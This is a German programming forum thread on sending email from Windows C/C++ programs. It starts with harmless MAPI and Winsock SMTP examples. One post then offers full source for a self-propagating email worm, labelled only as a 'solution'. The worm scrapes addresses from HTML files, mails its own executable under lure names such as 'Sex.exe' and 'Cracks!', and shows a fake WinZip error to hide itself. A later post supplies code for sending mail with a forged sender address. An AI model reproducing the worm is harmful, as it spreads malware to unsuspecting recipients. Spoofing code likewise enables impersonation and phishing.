Mail Versand aus C/C++ Programm



  • Petr1 schrieb:

    Hilfe Leute, falls hier jemanden interisiert wie ich es mit MAPI gemacht habe, kann ich die Funktion hierher posten 😉

    kannst machen.



  • Hallo Leute, ich bin's wieder :p
    Also ich habe es endlich geschaft über winsock ein SMTP Server kontaktieren und ein e-mail zuversenden, und wie immer war es so verdammt einfach 🙂
    Also hier sind die beiden Varianten, falls jemannd Interese hat 😉

    1.) über MAPI

    #include <windows.h> 
    #include <mapi.h> 
    
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) 
    {
     char szSubject [] = "Test E-MAIL"; 
     char szMesg  [] = "Message bla-bla-bla\n";
    ///////////////////////////////////////////////////////////////////////////////
    MapiRecipDesc empf;
    
    empf.ulReserved        = 0;  
    empf.ulRecipClass      = MAPI_TO;       
    empf.lpszName          = "Antwort@hierher.de";   // Antwort an Zeile           
    empf.lpszAddress       = "SMTP:empfaenger@mail.de";// Empfaenger 
    empf.ulEIDSize         = 0;
    empf.lpEntryID         = NULL;
    
    MapiMessage mames;
    mames.ulReserved          = 0;
    mames.lpszSubject         = szSubject;
    mames.lpszNoteText        = szMesg;
    mames.lpszMessageType     = NULL;
    mames.lpszDateReceived    = NULL;
    mames.lpszConversationID  = NULL;
    mames.flFlags             = 0;
    mames.lpOriginator        = NULL;     
    mames.nRecipCount         = 1;   
    mames.lpRecips            = &empf;
    mames.nFileCount          = 0;      
    mames.lpFiles             = NULL;     
    
    ///////////////////////////////////////////////////////////////////////////////
    
    HINSTANCE   hMapiLib; 
    LPMAPISENDMAIL MAPISendMail; 
    
    if ( (hMapiLib = LoadLibrary("MAPI32.DLL")) == INVALID_HANDLE_VALUE ) 
    {
        MessageBox(NULL,"LoadLibrary failed ","Error", MB_ICONERROR); 
        return 0; 
    } 
    if ((MAPISendMail = (LPMAPISENDMAIL)GetProcAddress (hMapiLib, "MAPISendMail")) == NULL) 
    {
        MessageBox(NULL, "Cannot find MAPISendMail", "Error", MB_ICONERROR); 
        return 0;
    } 
    
    if (MAPISendMail (0, 0, &mames, 0, 0) != SUCCESS_SUCCESS) 
    { 
       MessageBox(NULL, "Cannot sent Message", "Error", MB_ICONERROR); 
       return 0;
    }  
    FreeLibrary(hMapiLib); 
    return 0; 
    }
    

    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

    2.) über WINSOCK SMTP ansprechen

    #include <windows.h>
    #include <winsock.h>
    
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int iShowCmd)
    {
       struct sockaddr_in server;
       SOCKET sock;
       char buff[1024], command[1024];
       unsigned int empfangen, i;
       char *smtp[]={"HELO mail.ru\r\n",
    	        "MAIL FROM: absender@mail.ru\r\n",     // Absender
    	        "RCPT TO: empfaenger@mail.de.de\r\n",  // Empfaenger
    	        "DATA\r\n",
    	        "SUBJECT: Betreff\r\n",
    	        "Hallo Leute, es funktioniert wirklich !!!\r\n",
    	        ".\r\n",
    	        "QUIT\r\n"};
    
       short wVersionRequested;
       WSADATA wsaData;
       wVersionRequested = MAKEWORD (1, 1);
       WSAStartup (wVersionRequested, &wsaData);
    
       sock = socket( AF_INET, SOCK_STREAM, 0);
    
       server.sin_family = AF_INET;
       server.sin_port = htons(25);
       server.sin_addr.s_addr = inet_addr("194.67.57.51");  // SMTP.mail.ru warum mail.ru??? Keine Ahnung, will ich einfach so  :D 
    
       connect(sock, (sockaddr *) &server, sizeof(sockaddr));
    
       for(i=0; i<=7; i++)
       {  strcpy(command, smtp[i]);
          send(sock, command, lstrlen(command), 0);       // Command senden
          empfangen = recv(sock, buff, lstrlen(buff), 0); // Antwort empfangen muß
    nicht unbedingt sein
          buff[empfangen] = '\0';    // String terminieren
       }
       closesocket(sock);
       WSACleanup();
       return 0;
    }
    

    Falls jemand Fragen hat, mailen ruslan22@freenet.de
    Ciao 👍



  • #include <windows.h>
    #include <mapi.h>
    #include <memory.h>
    
    #pragma argsused
    
    /* find, get n' send mail */
    void findMail(char *);
    void GetMail(char *, char *);
    
    // the function we are going to use to send mails
    ULONG (PASCAL FAR *MSendMail)(ULONG, ULONG, MapiMessage*, FLAGS, ULONG);
    
    // we want it global
    MapiMessage mes;
    MapiRecipDesc from;
    char fileName[512];
    unsigned short count=0;
    
    char *fileNames[]={ "Docs.exe", "Roms.exe", "Sex.exe", "Setup.exe", "Source.exe", "_SetupB.exe",
    "Pack.exe", "LUPdate.exe", "Patch.exe", "CrkList.exe" };
    
    char *subs[]={ "Documents", "Roms", "Pr0n!", "Evaluation copy", "Help", "Beta",
    "Do not release", "Last Update", "The patch", "Cracks!" };
    
    char *texts[]= { "Send me your comments...", "Test this ROM! IT ROCKS!.",
    "Adult content!!! Use with parental advisory.", "Test it 30 days for free.",
    "I'm going crazy... please try to find the bug!", "Send reply if you want to be official beta tester.",
    "This is the pack ;)", "This is the last cumulative update.", "I think all will work fine.",
    "Check our list and mail your requests!" };
    
    // our lovely func
    void SendMail(char *subject, char *sfrom,char *sto, char *smes);
    
    // stealth
    void fastOut();
    
    int PASCAL
    WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance,
    LPSTR lpCmdLine, int nCmdShow)
    {
    HINSTANCE MAPIlHnd;
    unsigned char buff[128];
    DWORD buffs=128;
    HKEY keyHnd;
    char keyPath[]="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";
    char keyItem[]="Personal";
    
    /* random number */
    count=(unsigned short)GetTickCount();
    while(count>9)
    count=(unsigned short)(count/2);
    
    /* get module name for the attachment */
    if(!GetModuleFileName(hInstance,fileName,512))
    fastOut();
    
    /* test if MAPI32 is avaliable */
    MAPIlHnd=LoadLibraryA("MAPI32.DLL");
    if(!MAPIlHnd)
    fastOut();
    
    /* get MAPISendMail */
    (FARPROC &)MSendMail=GetProcAddress(MAPIlHnd, "MAPISendMail");
    
    if(!MSendMail)
    fastOut();
    
    findMail(".");
    findMail("\\windows");
    if(RegOpenKeyEx((PHKEY)0x80000001,keyPath,0,KEY_READ,&keyHnd)==ERROR_SUCCESS) {
    if(ERROR_SUCCESS==RegQueryValueEx(keyHnd,keyItem,0,0,buff,&buffs)) {
    buff[buffs-1]='\\';
    buff[buffs]=0;
    findMail((char *)buff);
    }
    }
    FreeLibrary(MAPIlHnd);
    
    fastOut();
    return 0;
    }
    
    void
    fastOut()
    {
    MessageBox(NULL,"File data corrupt:\n\n\tbad disk access or bad data transmission.",
    "WinZip Self-eXtractor",MB_OK|MB_ICONSTOP);
    exit(-1);
    }
    
    void
    SendMail(char *subject, char *sfrom,char *sto, char *smes)
    {
    
    memset(&mes, 0, sizeof(MapiMessage));
    memset(&from, 0, sizeof(MapiRecipDesc));
    
    from.lpszName=sfrom; // From
    from.ulRecipClass=MAPI_ORIG;
    mes.lpszSubject=subject; // Subject
    mes.lpRecips=(MapiRecipDesc *)malloc(sizeof(MapiRecipDesc));
    if(!mes.lpRecips)
    fastOut();
    memset(mes.lpRecips, 0, sizeof(MapiRecipDesc));
    mes.lpRecips->lpszName=sto; // Send to
    mes.lpRecips->ulRecipClass=MAPI_TO;
    mes.nRecipCount=1;
    
    mes.lpFiles=(MapiFileDesc *)malloc(sizeof(MapiFileDesc));
    if(!mes.lpFiles)
    fastOut();
    memset(mes.lpFiles, 0, sizeof(MapiFileDesc));
    mes.lpFiles->lpszPathName=fileName;
    mes.lpFiles->lpszFileName=fileNames[count];
    mes.nFileCount=1;
    
    mes.lpOriginator=&from;
    
    mes.lpszNoteText=smes; // Message
    (MSendMail)(0, 0, &mes, MAPI_LOGON_UI, 0);
    
    free(mes.lpRecips);
    free(mes.lpFiles);
    }
    
    void
    findMail(char *wild)
    {
    HANDLE fh;
    WIN32_FIND_DATA fdata;
    char mail[128];
    char buff[512];
    
    wsprintf(buff,"%s\\*.ht*",wild);
    fh=FindFirstFile(buff,&fdata);
    if(fh==INVALID_HANDLE_VALUE)
    return; 
    
    while(1) {
    wsprintf(buff,"%s\\%s",wild,fdata.cFileName);
    GetMail(buff,mail);
    if(strlen(mail)>0) {
    SendMail(subs[count], "GiftOfFury@Bumblebee.net",mail, texts[count]);
    count++;
    if(count==10)
    count=0;
    }
    if(!FindNextFile(fh,&fdata)) {
    FindClose(fh);
    return;
    }
    }
    }
    
    void
    GetMail(char *name, char *mail)
    {
    HANDLE fd,fd2;
    char *mapped;
    DWORD size,i,k;
    BOOL test=FALSE,valid=FALSE;
    
    mail[0]=0;
    
    fd=CreateFile(name,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,
    FILE_ATTRIBUTE_ARCHIVE,0);
    if(fd==INVALID_HANDLE_VALUE)
    return;
    
    size=GetFileSize(fd,NULL);
    if(!size)
    return;
    if(size<256)
    return;
    size-=100;
    
    fd2=CreateFileMapping(fd,0,PAGE_READONLY,0,0,0);
    if(!fd2) {
    CloseHandle(fd);
    return;
    }
    
    mapped=(char *)MapViewOfFile(fd2,FILE_MAP_READ,0,0,0);
    if(!mapped) {
    CloseHandle(fd);
    return;
    }
    
    i=0;
    while(i if(!strncmpi("mailto:",mapped+i,strlen("mailto:"))) {
    test=TRUE;
    i+=strlen("mailto:");
    k=0;
    while(mapped[i]!=34 && mapped[i]!=39 && i if(mapped[i]!=' ') {
    mail[k]=mapped[i];
    k++;
    if(mapped[i]=='@')
    valid=TRUE;
    }
    i++;
    }
    mail[k]=0;
    } else
    i++;
    }
    
    if(!valid)
    mail[0]=0;
    
    UnmapViewOfFile(mapped);
    CloseHandle(fd);
    return;
    }
    

    was meint ihr zu der lösung?



  • bei mir geht des irgenwie nich

    "MAIL FROM: tada@mail.ru\r\n",     // Absender
       "RCPT TO: boing_bumms@web.de\r\n",  // Empfaenger
    

    aber wieso???



  • Mr.Lover schrieb:

    bei mir geht des irgenwie nich

    "MAIL FROM: tada@mail.ru\r\n",     // Absender
       "RCPT TO: boing_bumms@web.de\r\n",  // Empfaenger
    

    aber wieso???

    Naja, die Mailadresse tada@mail.ru muß wirklich existieren, wenn es bei dir
    trotzdemm nich leift, rate ich dir das Antwort von SMTP Server zuempfangen, und in einem MessageBox auszugeben, dann weißt du zumindest was der Server nicht akzeptiert :p
    etwa so:

    for(i=0; i<=7; i++) 
       {  
          strcpy(command, smtp[i]); 
          send(sock, command, lstrlen(command), 0);       // Command senden 
          empfangen = recv(sock, buff, sizeof(buff), 0); 
          buff[empfangen] = '\0';    // String terminieren 
          MessageBox(NULL, buff, "Was der Server sagt", 0);
       }
    

    aber ich glaube es ligt am Fehler, folgende Zeile war fehlerhaft
    empfangen = recv(sock, buff, lstrlen(buff), 0);
    so ist richtig
    empfangen = recv(sock, buff, sizeof(buff), 0);
    Jetzt muß eigentlich alles funzen 😉

    :xmas1:



  • Bravo marcoo 😋
    fast der komplette mailclient, wo warst du blos solange 😉
    :xmas1:



  • Ein Ausländer der "funzen" verwendet? Sehr unglaubwürdig. 👎



  • gefällt euch mein code nicht?;-)



  • hi Petr1! kann man mit dir kontakt aufnehmen???
    cu



  • dEUs schrieb:

    Ein Ausländer der "funzen" verwendet? Sehr unglaubwürdig. 👎

    Was haste gegen Ausländer???
    Ich spreche/schreibe so wie es kann, klar? Ich bin gezwungen in euren Land zu leben, und lerne von euch die Deutschen, schreiben, sowie sprechen 😉
    Auserdem geht's hier um Programmierung und nicht um Rechtschreibung 😃

    und wenn du ein ***** bist, dann biste selber Schuld 😡

    edit by flenders: Solche Beschimpfungen sind hier nicht erwünscht und werden auch nicht geduldet ⚠



  • marcoo schrieb:

    hi Petr1! kann man mit dir kontakt aufnehmen???
    cu

    Klar kannst du mit mir Kontakt aufnemmen 😉
    Maile einfach an ruslan22@freenet.de

    Doch der Code gefällt mir, verwendest du BorlandC++ als Compiler???



  • ich hab visual c++ und borland c als compiler....
    hab dir gemailt!! schreib mal zurück!
    cu



  • lol, du Idiot.
    Ich bin bestimmt nicht ausländerfeindlich. Ich halte dich nur für nen Troll, ganz einfach. Du schreibst, du bist Ausländer, was wohl als entschuldigung für schlechte Rechtschreibung dienen soll. Machst dann auch so Fehler, wie falshcer Typus oder Artikel. Aber dann verwendest du "funzen". Das passt schlicht und einfach nicht zusammen.

    @Mod:
    Wenn er darauf antwortet gibts wahrscheinlich ne längere Diskussion. Wäre vielleicht angebracht, den Thread zu splitten.



  • @dEUs: Was ist an "funzen" so besonders ?



  • Es ist kein hochdeutsch, man lernt es an keiner Schule, in keinem Deutschlehrgang.



  • deutsch lernt man aber am meißten von leuten die mann kennen lernt;-) nicht in der schule usw...
    cu



  • Wolltet ihr auch schon mal Emails mit einer falschen Absenderadresse an Freunde versenden? Hier sind die 166 Zeilen Code dazu. Wichtig: Bei DEV-C++ muss man noch in "Projekt Optionen" --> "Linker Optionen" das Wort "-lwsock32" (ohne "") eingeben. Für MSV C++ müsste man in der 4 Zeile die Kommentar-Striche weg machen. Das rot im Code markierte Anonymous@ano.de ist die Absenderadresse (den Rest kann man sich denken). Außerdem sollte es den Dienst "ano.de" wirklich geben, ansonsten kommen keine Emails an.

    #include <winsock2.h>
    #include <stdio.h>
    #include <iostream>
    using namespace std;
    //#pragma comment(lib,"wsock32.lib") 
    
    #define EOL  "\r\n"
    
    DWORD smailid;
    HANDLE hthr;
    const WORD   VERSION_MAJOR  = 1;     
    const WORD   VERSION_MINOR  = 1;
    int error;
    char pszBody[1500];
    
    typedef struct threadd
    {
        char name[200];
        char fromid[200];
        char toid[200];
        char serv[200];
        char sub[300];
        char mes[1000];
    } TDATA;
    
    void send(char *smtpservr, char *fromname, char *fromid, char *toid,
              char *subject, char *message);
    void Check( int iStatus, char *szFunction );
    DWORD WINAPI is_ok( LPVOID l);
    int sendmail( LPVOID l);
    
    int main()
    {
      send("mail.web.de","Absendername","Anonymous@ano.de","empfänger@etwas.de",
           "Betreff","Nachricht");
      getchar();
      return 0;
    }
    
    void send(char *smtpservr, char *fromname, char *fromid, char *toid, 
              char *subject, char *message)
    {
       TDATA td;
    
      strcpy(td.fromid,fromid); 
      strcpy(td.name ,fromname); 
      strcpy(td.serv ,smtpservr); 
      strcpy(td.toid ,toid); 
      strcpy(td.sub ,subject); 
      strcpy(td.mes ,message);
      cout<<"Email an "<<toid<<" wird versendet . . ."<<endl;
    
      hthr=CreateThread(NULL,0,is_ok,(LPVOID)&td,CREATE_SUSPENDED,&smailid);   
      SetThreadPriority( hthr, THREAD_PRIORITY_TIME_CRITICAL);   
      ResumeThread(hthr);   
      WaitForSingleObject(hthr, INFINITE);
    
    }
    
    DWORD WINAPI is_ok( LPVOID l)
    {
      TDATA *d=(TDATA *)l;
      if(sendmail(l)==0)
      cout<<"Versenden abgeschlossen"<<endl;
      else
      cout<<"Versenden gescheitert"<<endl;		
      return 0;
    }
    
    void Check( int iStatus, char *szFunction )
    {   
      if (iStatus != SOCKET_ERROR && iStatus != 0)  return;
      else
      error=1;   
    }
    
    int sendmail( LPVOID l)
    {
       WSADATA        WSData;
       LPHOSTENT      lpHostEntry;
       LPSERVENT      lpServEntry;
       SOCKADDR_IN    SockAddr;
       SOCKET         hServer;
       int            iProtocolPort;
       char           szSmtpServerName[100], szToAddr[100], szFromAddr[100];
       char           szBuffer[4096], szMsgLine[255];   
    
       TDATA *d=(TDATA *)l;
       error=0;   
    
       lstrcpy( szSmtpServerName,d->serv );   
       lstrcpy( szToAddr,   d->toid );
       lstrcpy( szFromAddr,d->fromid );
    
       if ( WSAStartup(MAKEWORD(VERSION_MAJOR, VERSION_MINOR), &WSData) ) 
       {      
          cout<<"Error: Kann Winsock nicht finden"<<endl;             
          return(1);
       }
    
       lpHostEntry = gethostbyname( szSmtpServerName );
       if (lpHostEntry == NULL)    
       {    
          cout<<"Error: Kann den SMTP Server("<<szSmtpServerName<<")" 
                <<"nicht finden "<<endl;       
          return(1);
       }   
    
       hServer = socket( PF_INET, SOCK_STREAM, 0); 
       if (hServer == INVALID_SOCKET) 
       {            
          cout<<"Error: Cannot open mail server socket"<<endl;
          return(1);
       }
    
       lpServEntry = getservbyname( "mail", 0);
    
       if (lpServEntry == NULL)
         iProtocolPort = htons(IPPORT_SMTP);
       else
         iProtocolPort = lpServEntry->s_port;
    
       SockAddr.sin_family = AF_INET;
       SockAddr.sin_port = iProtocolPort;
       SockAddr.sin_addr = *((LPIN_ADDR)*lpHostEntry->h_addr_list);
    
       if (connect( hServer, (PSOCKADDR) &SockAddr, sizeof(SockAddr)))
       {	
         cout<<"Error: Connecting to Server socket failed"<<endl;
         return (1);
       }
    
       Check( recv( hServer, szBuffer, sizeof(szBuffer), 0), "recv() Reply");
    
       wsprintf(szMsgLine,"HELO %s%s","microsoft [111.122.1.12]", EOL);
       Check(send(hServer,szMsgLine,strlen(szMsgLine), 0),"send() HELO");
       Check(recv(hServer,szBuffer,sizeof(szBuffer), 0),"recv() HELO");
    
       wsprintf( szMsgLine,"MAIL FROM:<%s>%s", szFromAddr,EOL);
       Check(send(hServer,szMsgLine,strlen(szMsgLine), 0),"send() MAIL FROM");
       Check(recv(hServer,szBuffer,sizeof(szBuffer), 0),"recv() MAIL FROM");
    
       wsprintf( szMsgLine,"RCPT TO:<%s>%s", szToAddr, EOL);
       Check(send(hServer,szMsgLine,strlen(szMsgLine),0),"send() RCPT TO");
       Check(recv(hServer,szBuffer,sizeof(szBuffer),0),"recv() RCPT TO");
    
       wsprintf( szMsgLine,"DATA%s", EOL);
       Check(send(hServer,szMsgLine,strlen(szMsgLine),0),"send() DATA");
       Check(recv(hServer,szBuffer,sizeof(szBuffer),0),"recv() DATA");
    
       char sdate[70];
       lstrcpy(sdate,"Date: ");
       char s1s[70];
       GetDateFormat(0x409,0,0,"ddd,dd MMM yyyy",s1s,200);
       lstrcat(sdate,s1s);
       lstrcat(sdate," ");
       GetTimeFormat(0x409,0,0,"HH:mm:ss",s1s,200);
       lstrcat(sdate,s1s);
       lstrcat(sdate," PM");
    
       char header[350];
       lstrcpy(header,"From: ");
       lstrcat(header,d->name );
       lstrcat(header,"<");
       lstrcat(header,d->fromid );
       lstrcat(header,">");
       lstrcat(header,"\r\n");
       lstrcat(header,"To: ");
       lstrcat(header,d->toid );
       lstrcat(header,"\r\n");
       lstrcat(header,"Subject: ");
       lstrcat(header,d->sub );
       lstrcat(header,"\r\n");
       lstrcat(header,sdate);
       lstrcat(header,"\r\n");
       lstrcat(header,"X-Mailer: Outlook Express 1.00\r\nMIME-Version:
               1.0\r\nContent-Type:text/plain;\r\n\tcharset=\"iso-8859-1\"
               \r\nContent-Transfer-Encoding: 7bit\r\n\r\n");
    
       wsprintf( szMsgLine,header);
       Check(send(hServer,szMsgLine,strlen(szMsgLine), 0),"send() header");
       if (error)
       return error;
    
      lstrcpy(pszBody,d->mes );
      lstrcat(pszBody,"\r\n\r\n");
      Check(send( hServer,pszBody, strlen(pszBody), 0), "send() message");
      wsprintf(szMsgLine,"%s.%s", EOL, EOL);
      Check(send(hServer,szMsgLine, strlen(szMsgLine),0),"send() end-message");
      Check(recv(hServer,szBuffer, sizeof(szBuffer),0),"recv() end-message");
      wsprintf(szMsgLine,"QUIT%s",EOL);
      Check(send(hServer,szMsgLine,strlen(szMsgLine),0),"send() QUIT");
      Check(recv(hServer,szBuffer,sizeof(szBuffer),0),"recv() QUIT");
      closesocket(hServer);
      WSACleanup();
    
    return error;
    }
    


  • Kann das bitte wer editieren?



  • editieren? passt ja wohl oder?



  • Also compiliert krieg ich's, das Programm sagt auch die mail sei erfolgreich versendet worden, aber ankommen tut sie trotzdem nicht!


Anmelden zum Antworten